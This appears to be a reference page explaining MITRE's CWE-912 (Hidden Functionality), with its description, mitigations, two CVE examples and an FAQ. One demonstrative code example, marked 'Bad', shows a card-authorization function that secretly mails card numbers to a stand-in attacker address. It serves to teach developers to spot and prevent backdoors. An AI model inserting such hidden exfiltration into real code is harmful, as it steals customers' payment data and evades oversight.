Class · High

CWE-912: Hidden Functionality

The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administ...

CWE-912 · Class Level ·2 CVEs ·1 Mitigations

Description

The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Potential Impact

Other, Integrity

Varies by Context, Alter Execution Logic

Demonstrative Examples

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.
Bad
boolean authorizeCard(String ccn) {
                        
                           
                           // Authorize credit card.
                           
                           
                           ...
                           
                           mailCardNumber(ccn, "evil_developer@evil_domain.com");
                     }
Consider a device that comes with various security measures, such as secure boot. The secure-boot process performs firmware-integrity verification at boot time, and this code is stored in a separate SPI-flash device. However, this code contains undocumented "special access features" intended to be used only for performing failure analysis and intended to only be unlocked by the device designer.
Bad
Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.
Remove all chicken bits and hidden features that are exposed to attackers. Add authorization schemes that rely on cryptographic primitives to access any features that the manufacturer does not want to expose. Clearly document all interfaces.

Mitigations & Prevention

Installation

Always verify the integrity of the product that is being installed.

Detection Methods

  • Automated Static Analysis — Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Real-World CVE Examples

CVE IDDescription
CVE-2022-31260Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)
CVE-2022-3203A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912).

Frequently Asked Questions

What is CWE-912?

CWE-912 (Hidden Functionality) is a software weakness identified by MITRE's Common Weakness Enumeration. It is classified as a Class-level weakness. The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administ...

How can CWE-912 be exploited?

Attackers can exploit CWE-912 (Hidden Functionality) to varies by context, alter execution logic. This weakness is typically introduced during the Architecture and Design, Implementation phase of software development.

How do I prevent CWE-912?

Key mitigations include: Always verify the integrity of the product that is being installed.

What is the severity of CWE-912?

CWE-912 is classified as a Class-level weakness (High abstraction). It has been observed in 2 real-world CVEs.